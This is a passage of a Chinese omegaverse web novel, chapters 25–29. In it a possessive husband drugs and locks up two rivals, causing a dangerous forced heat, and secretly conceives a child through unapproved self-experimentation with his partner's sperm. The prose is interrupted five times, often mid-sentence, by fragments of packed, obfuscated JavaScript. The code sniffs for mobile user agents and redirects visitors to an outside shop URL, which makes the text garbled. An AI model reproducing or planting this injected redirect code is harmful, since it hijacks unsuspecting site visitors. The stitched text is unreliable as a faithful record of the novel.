庄兆不确定自己出去是帮忙还是拖后腿,但还是翻出急救包抱在怀里,颤巍巍地走出了房间。 就算会死掉,他也要跟应重明死得近一点! ** “……是谁?应重明,是不是你?!” 季明度冲到门边,愤怒和慌乱中用力地拍打门板,“你想干什么?放我们出去!你这个该死的混……啊啊啊滚开!” 应重明就站在门前,一身丝绸睡衣,面色如玉,目光冷淡。 痛苦和呜咽声被阻隔,很快便没有动静再传出来。他转身下楼,去厨房为庄兆榨一杯橙汁。 卧室里暖气太足,庄兆后半夜醒了可能会渴,需要凉凉的果汁润喉。 谭乐盈和季丝丝在一楼的客房休息,听不到上面的异常。最快也要到明天早上,才会发现少了两个人。 幸运的话,他们之间说不定已经死了一个呢。 想到那种可能性,应重明手起刀落,切开橙子,忍不住哼起了歌。 从二楼的楼梯口看下来,刚好能看到半个厨房的岛台。庄兆一眼就认出那是他老公的发顶,扯着嗓子喊了一声,“你怎么在那里!” “……” 橙子滚落一旁。应重明握刀的手有些僵硬,但很快地抬头,如常露出笑,“宝宝?” “我来了!”庄兆匆忙下楼,朝他跑过来。半路怀里的急救包掉了,还把自己绊了一下,要摔不摔。 应重明心都提起来了,也连忙跑过去接住他,抱起来顺了顺背,“别怕,我在这里呢。怎么忽然醒了?” “我听到撞门的声音!”庄兆抬腿盘住他的腰,紧紧地扒着他,“是有坏人进来了吗?” “没有坏人,也没有什么声音。”应重明托着他的屁股晃了晃,镇定地安抚,“是不是做噩梦了?” “不……是有声音的,我听到了。” 庄兆惊魂未定,心脏还在乱糟糟地狂跳,“为什么你自己出来?我不知道,我看不到你!我快要吓死了!” “怕你晚上会口渴。”应重明把他放在岛台上,拿刚榨好的小半杯橙汁给他压惊,“什么事都没有……好了宝宝,别害怕。下次我离开一定告诉你好吗?不会再让你一个人醒。” 庄兆喝完果汁,终于感觉自己能喘匀气了,很庆幸这只是虚惊一场,“好吧。” “你跑出来是为了救我的吗?好勇敢。”他又说,“但我更希望下次如果真的遇到危险,你能先自己躲起来。” 庄兆迟疑了一下,没有像平时一样回答“好的”,只低头舔了舔嘴唇。 他并不怀疑应重明说的是更好的应急方案。但他迸发勇气冲出来这一次,得到的快慰已经由神经反射传递给大脑。他不后悔,下次大概率还是会这样做。 比起去考虑什么安危,他更想跟应重明待在一起。 应重明也没有强求他的保证,有一半注意力还在二楼,目光似有若无地上移。那里安安静静。 庄兆忽然苏醒,甚至突破本能找过来,是个意外情况。 应重明没有慌乱,带他喝完果汁漱了口,才又回楼上去休息。 回去休息会经过主卧。而通往主卧的门是紧闭的,只需看一眼,就知道与往常情形不同。 但他赌庄兆不会注意。 庄兆确实没注意,路上还捡起了自己弄掉的急救包,心想这是个值得纪念的夜晚。 应重明认为他的勇敢不应该得到鼓励,但他心里是有点欢欣鼓舞的。这是他从未做到过的事,代表着他不再是个只能受到保护的人,也可以担当起保护者的角色。 虽然他这个保护者路上还会掉装备,可是能踏出第一步,就是很不错的。 应重明一直注意着廊间的动静。就在两人即将走入房间时,主卧方向爆发出一声惊天动地的嘶吼——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912040|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “庄兆!!” “……” “有人叫我吗?”庄兆被吓了一跳,茫然转身,目光寻找。紧接着是冲破耳膜的又一声。 “救命!救我!!” 应重明皱起眉。 这两人长了机灵。先是静悄悄的,专等到庄兆走到这里才大喊,最短距离最大分贝,确保他一定能听到。 “明度?”庄兆在第二声中辨认出来,终于注意到主卧上锁的门,不解地看向他。 应重明头脑风暴了一秒,主动上前握住把手,打开了门。 扑面而来的热意里是混合□□的复杂气味,又香又怪。连庄兆这样的Beta都被冲得往后退了一步。应重明绕到身后抱住他,顺势低头把脸藏在他颈间,过滤呼吸。 季明度第一个连滚带爬地跑出来。 他有些神志不清地捂着脖子,手心里沁出血色,见到应重明的瞬间面露凶光,“我要杀了你……” 但他早已体力不支,踉跄着跪倒在地。浓重的茉莉香味从他死死按住的手掌下散出来。 Omega信息素持续发力,更加神志不清的是另一位。赵晋扬脖子上还插着根针筒,双眼猩红,似乎想把他拽回去,“别,别走……” “他怎么了?”庄兆再搞不清状况,也能看出要发生很恶劣的事,“快阻止他!” 应重明闻言动手把两人分开。把握力度直接起手打击颈动脉窦,把Alpha敲晕,顺便拔下了他脖子上的针筒。 看到上面的试剂标签,应重明惊讶道,“你们怎么会有研究所里未公开的抑制剂?偷偷携带可是犯法的。” “别装了!都是你,你故意把我们锁起来!”季明度趴在地上,却恼恨地昂着头,若非虚弱,恨不得窜起来咬人。 发情的Alpha一身蛮力,他根本反抗不过,只能在被标记时,趁机把抑制剂扎进赵晋扬的腺体。 情况危急,他给自己也打了抑制剂。 药效很猛。好处是赵晋扬力气小多了,不足以强迫他做什么。坏处是现在两个人都意识模糊,积攒全力求救后,没办法再把状告完,“都是他干的,应重明,他故意……” 季明度彻底昏迷过去。 两人一横一竖的躺在地毯上。糟糕的信息素气味在空气中蔓延。 庄兆听到了,对眼前的景象难以置信,“……你把他们两个关起来?” “我以为他们两个是两情相悦。” 应重明露出为难又抱歉的神色,“我只是想给他们创造机会。” 26.第 26 章 这样冠冕堂皇的狡辩,但凡季明度还有一丝清醒的可能性,都要气得从地上蹦起来破口大骂。 庄兆困惑地歪了一下头,本能感到事情有些违和之处。 不过因为昏倒的人不是应重明,他没有受到很大惊吓,表现得相对冷静,“要叫救护车吗?还是我开车送他们去医院?”今晚在场的人当中只有他没喝酒。 “晚上开车太危险了,我来叫救护车吧。” 应重明更是从容不迫,巴不得医院整晚占线。安慰道,“别着急宝宝,先回房间换衣服。我去叫Taylor她们出来一起去医院。” 离开庄兆的眼睛,他不踢一人一脚已经是好的了。不怎么温柔地把两个人拖到沙发上放平,才去叫另一对刚刚结束缠绵的情侣。 时机把握得很好。谭乐盈觉得哪怕再早十分钟听到他敲门,她都会被吓到萎靡一阵。 听见弟弟昏迷的消息,季丝丝火急火燎地披上衣服跑出来,“明度!他怎么会变成这样?” 才一会儿不见,季明度脸色煞白,全身都被汗打湿了,脖颈还渗着血,已然狼狈到极点。 应重明轻轻叹气,视线偏移。 顺着他不经意的暗示,季丝丝皱着眉头望向另一条沙发上。赵晋扬的情况也好不到哪里去。 救护车赶到,把两人送进了重症监护室。医生初步诊断,“是被诱导发情了,情况非常危险,需要做腺体透析。他们是不是吸入了药物?现在的青少年可真是……玩起来不要命。” “他们使用了还未通过临床测试的抑制剂。”应重明贴心地帮忙解释,“他们不是那种乱来的孩子,或许是抑制剂的副作用导致的。” “是的!明度平时从来不会碰那些东西。”季丝丝连忙道,“我们家里规矩很严,他不敢乱来的。” “这么说,他是先进入发情期,才不得不使用了未知抑制剂?”医生问。 她怔了一下,随即意识到不对,“他……他的发情期并没有到。” 同为Omega,季丝丝知道这问题有多严重,不可能记错。 可如果季明度没有进入发情期,又为什么要冒险使用抑制剂呢?这不是给自己找罪受吗? “目前来看,患者还是处于发情期的状态。只不过他身上的药物反应非常混乱,各项指标也很不乐观,如果无法熬过今晚……”医生顿了顿,遗憾道,“恐怕凶多吉少。” 季丝丝如被人当头一棒,身体软软地倒了下去。谭乐盈连忙抱住她,轻声安慰。 她实在想不到,同父异母的弟弟会在异国他乡,在她的身边出这么大的事,欲哭无泪,“我没办法做主……我必须得给家长打个电话。” 希望季明度能熬过今晚。只要情况稳定,家里会立刻找飞机把他接回国内疗养。 赵晋扬身体状况没有他那么糟糕,但处境反而更惨些。因为没有医保,也没有家人在旁,几人都不知道他最亲密的朋友是谁。病房外没有任何人为他而来。 庄兆也是这时才意识到事情的严重性。 他知道的比旁人还多一层—— 两人是因为被应重明关在一起,才会进入发情期的。 Alpha和Omega天雷勾动地火,居然会有这么可怕的发展。 最赤裸的真相他当然猜不到,是应重明提前在房间里布置了自制的诱导剂,才会使两人提前进入发情期。 但就结果而言,无论如何都跟应重明脱不开干系。 “我们也不走。”庄兆说,“再等一等监护室里的消息吧。” 应重明轻松应下。他离开时已经给主卧开窗通风,诱导剂挥发干净,不会留下任何线索。 “要吃点什么吗?”比起病房里生死未卜的患者,他更担心庄兆肚子饿不饿,“或许得等很久。” 庄兆摇了摇头,望着他,脸色更严肃了些,声音发冷,“你应该向明度道歉。” ** 他平时说话就是冷淡的人机语调。应重明一直都知道,也很习惯。 但不包括今晚。 “你在为季明度说话。”应重明露出受伤的表情,“在你心里,我变成坏人了吗?” 庄兆警觉地左顾右盼,确认季丝丝和谭乐盈都不在身边,才放心。 “你当然不是坏人了,”他说,“你只是不小心做了坏事。” “……” 他很少有在外面还这么机灵的时候。但事关应重明,他担心别的朋友会因此误会。 他当然愿意相信应重明,可故意把人关在一起,无论怎么解释,看起来都很像恶作剧。而且是导致了严重后果的恶作剧。 应重明对他说过,无论原因是什么,给别人造成了伤害就需要道歉。 他也不认为应重明是个没有担当,或者死要面子的人。但不知道为什么,应重明看起来并不打算这样做,甚至对他说的话做出了意外的反应。 “你真的不知道为什么吗?”应重明说,“因为我讨厌他。我讨厌季明度。” “……什么?”庄兆从未听过他这么明确地说讨厌谁。 他平时对季明度的态度也很友善。 “他在缠着你!难道你完全看不出来吗?” 或许有发情期情绪问题的影响。应重明觉得不明确不行了,“他最近总去学校找你。可你从没跟我提起过。” 庄兆有点冤枉。 他不知道季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959688|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明度到学校找他那么多次。因为季明度根本一次都没找到过他。 “今晚也是。你以为他为什么会到我们的房间里去?我又为什么会把他关起来?因为他是去找你的。” 庄兆听见他极力克制的愤怒和反感,压在深沉的语调里,像是积郁已久。 应重明说,“他打算把你带走。” 虽然知道季明度没有能力把他带走,那只是一种未发生的设想。但应重明不允许那种可能性发生。 他认为自己已经相当仁慈了。因为诱导剂布置在他和庄兆的卧室,而非季明度的客房。 但凡他老老实实地待在自己房间里,睡觉也好,跟什么人厮混也罢,都不至于会落得跟死神打个照面的下场。 即使被迫进入发情期,季明度也可以选择接受Alpha的标记。研究所里未通过测验的抑制剂是他自己偷偷夹带出来的,也是他自己决定要用的。 关应重明什么事呢? 为什么要应重明道歉。 他根本就没有真下狠手。难道庄兆不明白? 为什么要这样严肃地看着他,叫他去跟一个犯罪未遂的笨贼道歉? 为什么比起他,庄兆现在开始更关注别人的死活? “你认为我会跟他走?”庄兆微微睁大双眼。 他想不到任何可能性。任何事都不会让他在半夜三更放弃丈夫温暖的怀抱,跟一个刚认识了没几天,连大学都还没考上的小男孩离开家。 “我不知道。”应重明罕见的语气生硬,“或许吧。” “……” 庄兆受到了巨大的打击。 应重明是在质疑他的智商。 这很严重。不仅因为否定了他作为成年人的主体性,也因为智商是他最骄傲且唯一可以证明自己的长处—— 他不是傻子,他只是跟别人不太一样。 他并不是情绪缺失,只是感情和反应比常人较淡。他也会为一句伤人的话难过很久,尤其当这句话是来自最信任的爱人,他都快呼吸不过来了。 应重明非常了解他,一定知道他会难过。可还是故意讲出来,故意这样伤害他。 他一定得好好教训一下应重明了。 庄兆大声道:“你怎么说这么坏的话!” “……” 应重明张开嘴巴又闭上,一张英俊的脸被复杂的表情拉扯,说不清是想哭还是要笑。 路过的护士提醒两人保持安静,“不要在这里大声争吵。” 庄兆愣了一下才反应过来,后知后觉道,“我们是在吵架吗?” 没等应重明回答,他自己又难以置信,小声地重复了一遍,“我们在……吵架。” 27.第 27 章 争吵是从未发生过的事。应重明从来都只会柔声细语地跟他讲话,他也没想过两人之间会为了什么事情大动肝火。 可是第一次往往发生得猝不及防。庄兆的心绪完全从躺在病床上的朋友身上抽离,怔住的脸上写满不知所措的恐惧。 这种情形对他来说刺激性太强,短时间内大脑无法处理。 他想逃跑,想回家。可家里是因为有应重明才会显得安全。如今他的安全岛就在眼前,他不知道要逃到哪里去才可以了。 应重明怜爱地注视着他。有些不忍,又有些满意。 看看这个被吓坏的小可怜。 庄兆怎么离得开他呢? 庄兆是不会离开他的。 摆在眼前的认知让应重明从被信息素控制的情绪中短暂抽离,冷静下来,恢复成平日里温和的模样。 “没事的,这不算什么。”他倾身拥抱庄兆,帮助庄兆平复情绪,“好了,来抱一下,慢慢呼吸。” 庄兆靠在他胸前闭上眼,放松下来的同时,还有一阵莫名的鼻酸。又觉得自己刚刚说话太大声了,有点难为情地低喃,“对不起喔。” “是我做得不对。”应重明妥协,作出承诺,“别担心,我会去向他道歉的。” 庄兆点点头,“那我们明天还要一起来看他。” “当然。”应重明说。 事情的发展略有偏离,但和他的预期相差不多。哪怕季明度活下来,也无法在这里继续待下去。事情很快就会有结果。 当然要一起。即使只剩最后这点时间,他也不会允许季明度有和庄兆单独相处的机会。 庄兆思考了一整晚。 他不明白应重明为什么讨厌季明度,但还是决定尊重伴侣的个人喜恶。 清晨医院里传来消息,经过两次抢救,季明度和赵晋扬终于度过了危险期,转入普通病房。 庄兆才松了口气,一丝不苟地上网搜索看望病人需要携带什么礼物,让管家帮忙定了个超大的鲜花果篮。 礼物准时送到了他的车里。应重明下课后来找他,一眼就看见几乎占据整个后座的豪华果篮,脸色不受控制地阴沉。 他怎么能为别人花这样的心思? “明度说晚上的飞机回国,现在去见他正好。”庄兆今天表现得非常成熟,“如果你不喜欢他,就不用跟他成为朋友。只要表达歉意就可以了。” “……嗯。”到医院有一段路程。应重明怕他太累,“我来开车好不好?” 庄兆拒绝了,“我可以的。” 他当然看得出应重明情绪不好,也很理解,毕竟是去道歉,心里总会别扭的。所以他愿意承担起开车的责任,应重明路上就会有一段调整缓冲的空间。 道歉的礼物也是他帮应重明准备的。 如果是单纯的阴差阳错出了意外,他甚至愿意代表应重明道歉——即使他也很不擅长表达。 但由于现在的结果是应重明主观故意造成的,他就不能代劳。 庄兆有着明确的是非观,也拥有护短情结。 是应重明做错了事,可一定是身处发情期,被严重影响到了才会这样。 难怪他那么讨厌Omega的身份。信息素不仅会导致性犯罪,还会让他变得不像自己。 深受其害的还有季明度。不只是身体遭到Alpha标记和药物的双重打击,他的精神也遭受了很大打击。 他严重怀疑应重明早就知道现有的Omega抑制剂副作用强烈,才从一开始就向他抛出橄榄枝,步步为营地引诱他走入这个陷阱。 应重明才是毒蛇。还是最可怕的那种——明明藏了一副歹肠,却披着层美丽无害的伪装。 他一点也不想接受这种人的道歉! 嘴上说得好听,心里指不定还怎么诅咒他呢。 病房里大眼瞪小眼,恰好应重明接到了实验室的电话,暂时离开。 季明度一个打挺坐起身,趁机对庄兆和盘托出,“其实我昨晚真的有很重要的事情要找你说。” “你肯定不知道,应重明在做一项针对Omega生殖器官的临床研究,很有可能是违法的,违背道德伦理的。因为他没有经过审批就私自启动了项目,还绕过监察系统在人体上直接做实验!” 没有浪费一秒钟,季明度劈里啪啦地说完,板着脸控诉,“你还不明白吗?他就是个冷血动物,是个不把生命当回事的人!你跟他一起生活太危险了。” 庄兆确实有些惊讶,“你亲眼看到吗?” “我听一个正义的研究员讲的!” “……” 他没有说话,只是静静地看着季明度,目光平淡。 季明度没来由地心虚,勉强承认,“好吧……是我花了点钱,贿赂人家讲的。” 既然获取的渠道不光明,消息当然也无法保真。 庄兆顺理成章地摇了摇头,“他不是你说的那种人。” “哼。你就是被他洗脑得太厉害了,什么都听他的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982845|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的。” 眼看劝说无效,季明度露出一个惆怅又绝望的表情,“等我回国可就没人再救你了……你会想我吗?” “会的。”庄兆诚实地说。 他身边也难得出现这样古灵精怪的小孩。他或许不会经常想起,但一定会记得他。 季明度伤心地扁了扁嘴巴,有些话终究没有说出口,也不必要再讲。 只是当余光扫过门口,他还是耍起了报复的心眼,可怜地望着庄兆,“我就要走了,或许很久都不会再见。可以抱你一下吗?” “……好的。” 庄兆不喜欢跟人拥抱,但值此临别之际,也为了表达歉意,想一想还是倾身让他抱住了。又生疏地抬手拍了拍他的背,赠言,“好好学习。” “……” 季明度趁势偏过头,亲了一下他的耳朵。 庄兆只觉得是皮肤擦过,没有对这个吻做出任何反应,雪白的脸上找不到情绪反馈的波动。 他彻底泄了气,吸吸鼻子,“你好无情哦。” 庄兆想他果然还是个孩子,在为离别而感伤。 如果有机会,他还是愿意再见季明度的。但他想到刚刚得知的应重明的想法,就没有再说别的话。 “时间差不多了。”应重明的声音忽然响起,从病房门口传来,积蕴着未知的风雨,却依旧柔和,“宝宝,再不回家我们会错过晚饭的。” 庄兆起身说了再见。季明度靠在病床上,超大声地回应,“再见!我也会想你的!” “……” 应重明为自己的心慈手软感到后悔。 他不该被这样幼稚的挑衅手段勾起怒火。但事实是,庄兆接受了季明度的拥抱和亲吻。 庄兆排斥肢体接触,连跟自己的父母都很少亲密。可是为什么,现在居然已经可以接受旁人的引诱。 这太危险了。即便他已经赶走了眼前的这个,下一个季明度也随时会出现。 Omega信息素不经控制地在车里蔓延,浓郁得让人喘不过气。连庄兆都察觉到,担忧地望向他,“我闻到你的信息素了。你还好吗?” 应重明陷在思绪中,恍若未闻。 下一个季明度会对庄兆做什么呢?庄兆会接受吗? 他又不能把这座星球上其他人全部都赶走,永远都还会有下一个,下下一个。 总有一天,总有一个人会把庄兆从他身边带走。 总有一天…… 庄兆是会离开他的。 28.第 28 章 应重明二十岁的生日就要到了。 今年的生日注定与往年不同。庄兆无意间从朋友口中听到,原来全世界的情侣在为彼此庆祝生日时都会狠下功夫。 从礼物到晚餐,还有鲜花卡片和手写信,要求一个浪漫圆满。 而他在应重明的生日里从没花过这些心思,就连生日晚餐都是由应重明亲自准备的。 更何况他们今年是第一次以已婚夫夫的身份过生日,也应该格外隆重些。 谭乐盈毫不吝啬地向他传授经验。 庄兆受益良多。 正好进入十二月份,她和女友也要为圣诞装饰新家,邀请他放学后一起去商超大采购。庄兆接受了。 只是这样的话,他就没办法按时回家吃晚饭。原本以为会很难商量,没想到他开口一提,应重明直接答应了。只问他大概结束的时间,好叫家里司机去接。 “他转性了?”连小情侣都很惊讶,“还以为他会跟你一起来呢。” 她们甚至商量了要怎么在应重明眼皮底下,把生日派对需要的材料伪装成圣诞派对。 “这样不好吗。”庄兆对计划顺利感到高兴。 他情商有限,想不了那么复杂,那么细致。 不过说到改变,最近确实有一项变化引起了他的注意。 应重明已经一周没有向他提出过性生活邀请。 这很不寻常。因为应重明对亲密接触的需求十分旺盛,确定关系后他们只要躺在一起,就得弄两个小时才能睡觉。 不过他本来也对这种事没有瘾,觉得单纯地抱在一起睡觉很舒服,所以对改变不太在意。 他现在会自己开车了,这项技能提供了许多方便。趁放学后的时间,他偷偷去进化发生时两人住过的公寓,为应重明即将到来的生日布置房间。 采购的装饰里有很多零件琐碎的小手工品,动手能力一般的人都会头疼,对庄兆而言更甚。他觉得非常非常难弄。 还好他提前半个月就开始准备了。 为此他还提出要搬回学生宿舍去住,以便能在保密状态下,独自完成这份惊喜。 应重明听到他不想再住家里,沉默了很久。就像面对他近些日子以来各种粗糙拙劣的晚回家的借口时一样,问了句,“你确定想这样做吗?” 庄兆点一点头。他就会说,“好。听你的。” 庄兆想他最近好像很忙,话也少了些,听说是实验室里项目进入了比较关键的阶段。 有一次去接他放学,临别时庄兆都听到同专业的师兄叫他好好休息。 他正需要一个放松的时机,生日再合适不过。 ** 应重明也准备了一份礼物。 季明度是个笨贼,没能偷走庄兆,却动摇了他心底本就不牢固的安全防线。 他必须得找别的方法,再为两人的关系上一层保险。 从小一起长大没有用,总是会有所谓“命中注定”的不速之客来搞破坏。宣誓结婚领了证也没有用,换个国家或许就不被承认。 那如果是一个孩子呢? 在他有意无意的灌输下,庄兆的道德感高,责任感强,即使真的爱上什么该死的别人,也会因为共同的孩子而无法离开他。 他需要这样一个只有他可以给的,永远无法抹除的纽带。 和他一起进行这项实验的是和他同导师的师兄,早在他把庄兆的精子样本带进实验室时就有所预感,“Felix这太疯狂了……可你竟然真的成功了。” 超声仪检测出,他发育不全的孕囊内有胚胎着陆。从实施到得逞,他只用了两周时间。 他无法像女性一样自然分娩,只能等胎儿在体内发育成熟后,剖开腹腔取出。 这样做危险性极高,后果无法预期,且涉及道德人权等等一系列风险问题。目前全世界范围内都还没有男性O ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997553|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' mega剖腹产的先例。 师兄苦笑,“如果实验泄露,我或许会和你一起被抓进监狱。” “不会。”应重明说,“我是自愿受试的,你大可以把我当成实验体看待。等这个孩子降生,你可以拿我们发几篇一作,成为国际学术论坛的焦点。” 师兄久久地望着他,只觉得这张微笑的英俊脸庞看起来十分惊悚,“疯了……你简直是疯了。” 应重明说,“我很清醒。” 如果成功,庄兆再也离不开他,很好。 即使失败,他要开膛破肚死在手术台上,也好。 至少庄兆永远都会记得他。 无论怎么想,都是有利无害的事。 应重明的生日刚好在周六。周五下午结束课程,两个人在学校门口碰头。按照以往的习惯,生日当天从第一分钟到最后一分钟,他们都要一起度过。 庄兆捧着一大束玫瑰和紫罗兰,兴冲冲地上车,“生日快乐,我为你准备了一份惊喜!” 应重明一定以为他们还会像往常一样,只是回家吃顿烛光晚餐。殊不知他已经在不知不觉中准备好了一切! 他正要呼叫导航把车往市区公寓开,就听见应重明柔声道,“我也有一份惊喜给你。” “嗯?可这是你的生日。” 庄兆不明所以,从他手上接过一纸报告单。 “我怀孕了。”应重明说。 “……” 庄兆把纸上所有单词都看了一遍,不懂他为什么忽然拿别人的孕检单出来,“是谁怀孕了,Will?Wall?是你的同学吗。” 他宁愿相信是应重明发音不清晰,也没想过这张实验报告和他有关。 “是我啊,亲爱的宝宝。”应重明说,“Felix Ying,应重明,你的合法伴侣。”他耐心地重复着,脸上浮现的笑容甜蜜而阴森。 “我们要有一个孩子了。” 29.第 29 章 由于庄兆的情绪控制能力不佳,应重明一般会避免让他直面突发状况。 哪怕有比较重大的消息要宣布,也会先行铺垫,预告,给他心理预期。 正因如此,消息从应重明口中讲出来,才格外吓人。 因为他对应重明从来就是不设防的。 他最近脑子里除了学习,就只有应重明生日相关的事情,因此消化这个荒谬的消息的时间有点长。 应重明耐心地等待。 庄兆觉得自己很可能会晕倒。但是他坐在车里,没处可倒,最后只能重重地靠在了副驾的椅背上,“……啊。” 他问出来最不能理解的问题,“Omega一个人也可以怀孕吗?” 目前可知的信息里,只有Alpha才会使Omega怀孕,但他绝不相信应重明会出去跟别人,尤其是很厌恶的Alpha乱搞。 他自己又没有做过能让应重明怀孕的事。除非……难道Omega通过消化道也能怀孕?! 他震惊战栗的目光落在应重明形状饱满优美的嘴唇上。 不可能的吧。 “当然不可以,Omega没有自体受精的功能。”应重明温柔地摸了一下小腹,像演员在代入一个初为人父的角色。这动作被他做出来,略有生疏,颇有诡异。 “是你的。” “……” 生命的奇迹不会平白发生。应重明把拿他的精子样本去做试管的事讲了出来。庄兆才终于明白。 怪不得,这阵子他们即使睡在一起,应重明也总是把睡衣穿得很整齐,太亲密的接触都会避免。原来是在隐瞒,偷偷准备这件事。 庄兆本以为怀孕对谁而言都是个意外,没想到竟是应重明蓄意为之。他无法理解,“你为什么要做这样的事?” 他把态度表现得很鲜明。可惜,是鲜明的不赞同。应重明几乎无法维持笑容,“你不开心吗?” “有了孩子,我们会是一个更完整的,不可分割的家庭。” 庄兆更不明白,“我们本来就已经是了。” 没有人规定过,一个家庭里必须有了孩子才算完整。 更何况,应重明的身体构造和普通Omega不一样,这个举动可能会导致很严重的后果。 他以前从没对小孩子表现出特殊的关心,为什么要忽然这样做? “你不想要这个孩子吗?”应重明嘴角往下掉。 庄兆的思路被打断,转而思考他给出的问题,很快点了点头,给出简短又明确的答案,“我不喜欢小孩。” 他也从没考虑过要有自己的小孩,无论是生育还是领养。 这是个足以改变他们人生的重大选择,应重明却瞒着他一个人做了决定。 庄兆想到这里,终于在震惊之余开始感到不满,不适,不悦。他认为应重明罕见的过分任性,需要纠正。 “你不该这么做。” 他的话依旧直白到伤人,甚至都没有切换回中文,语速又快又流利,“你至少应该先跟我商量以后再做决定。这样对新生命是不公平的,不负责任的。很欠考虑的。” 一桩桩罪名落下,审判降临。应重明的心脏像被击穿,注视着他严肃的脸,很久,露出了他从没见过的表情。 某种带了讥讽的冷笑。 “究竟是我不负责任,”应重明说,“还是你不想对这个孩子负责?” 庄兆这样说,果然是已经在做离开他的心理准备。 他的确瞒着庄兆,悄无声息地做好了准备工作。但是直到庄兆在病房里被季明度亲吻之前,他都没有真正实施的打算。 是庄兆亲手把他推到这一步的。庄兆怎么能这样责怪他? 他眼神冷冽,语气却听起来好像要碎,“你不想要的,到底是这个孩子,还是我。” “……” 庄兆跟不上话题了。不知怎么,两人的对话忽然偏到这种地方,“你在说什么?是不是信息素让你糊涂了。” 他怎么可能不要应重明呢?这是严重的诽谤造谣。如果不是应重明本人说出来,他都觉得可以考虑诉讼了。 “我没有不想要你,永远也不会。” 应重明的表情没有变化,连眼睛都没有眨一下,陌生得令人心惊。他猜这个回答还不够,于是又认真地说,“我爱你。” “是吗?可我对你说过的谎,早就不止这一个。” 应重明好像根本没打算相信他说的话,做出了跟平时完全相反的反应,甚至有些破罐破摔的意味。“你想听实话吗?我可以全部告诉你。” 庄兆没有说不的机会,听到他用冷酷的声音宣布,“我第一次见你,根本不是在你六岁生日。那天带去的足球,也不是恰好涂绘成了你喜欢的地球仪款,是我提前准备的。” “……” “我从一开始就不喜欢数学,你每次发来的几个小时的讲座和公开课我从来没有看完过。跟你对话问答里的知识点都是让AI总结的!” “……” “刚搬来读预科时我说超市里的冰激凌总是卖光,也是骗你的。其实超市里的冰激凌永远都不会缺货,我只是为了逼你一个人去外面,到路边的冰激凌车上买。” 他残忍地说,“冰激凌车也是我雇来的!” 庄兆简直不敢相信,“超市里的冰激凌永远不会缺货?!” 他到现在还记得自己当初为了吃到冰激凌,一遍遍练习该如何开口与人交流,如何正确地点到自己想要的口味。 每一次去找冰激凌车都要经过痛苦的心理挣扎,走出家门的几百米里,他每一步小腿都在发抖。 居然是应重明策划的?! “没错。现在你还觉得实话比谎言动听吗?事实比你听到的更可怕,这些小事不过是九牛一毛。” 他的声音像冰层之下,无声涌动的暗流,“在我重生之前,根本没有好心的店长看重我,他和他的女儿根本不喜欢我。” 庄兆说,“可是……” “也没有人会想念我。”他置若罔闻地打断,自顾自地说,“因为他们都死了,死在我之前!我杀了所有人,然后变成了一个婴儿……然后遇到了你。” “你对我一无所知,可是我说什么你都相信。和我一起上学,一起上床,一起结婚!难道你就从来没有怀疑过?还是说,暂时没有找到比我更会照顾你的人,才只好假装没有发现!” “……” 事情的发展完全脱离了掌控。 庄兆刚上车时,只是一个期待给伴侣过生日的快乐小男生。短短十分钟内,遭遇了一波又一波的思维打击,还全是在他不擅长的情感关系领域。 车里气压很低。他已经听不懂应重明说话了,但是比起什么孩子,显然面前的人自身问题更大。 “你的精神状态不好。”庄兆皱着眉,郑重道,“我们需要医生。” 应重明无言地望了他一阵,露出苦笑,眼角滚下一滴泪来。 “你想把我送去哪儿,信息素分泌科还是精神科?你也觉得我疯了?” 应重明疲惫地闭上眼睛,像是对这样的结局有所预料,“我的发情期已经结束了。不是信息素在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 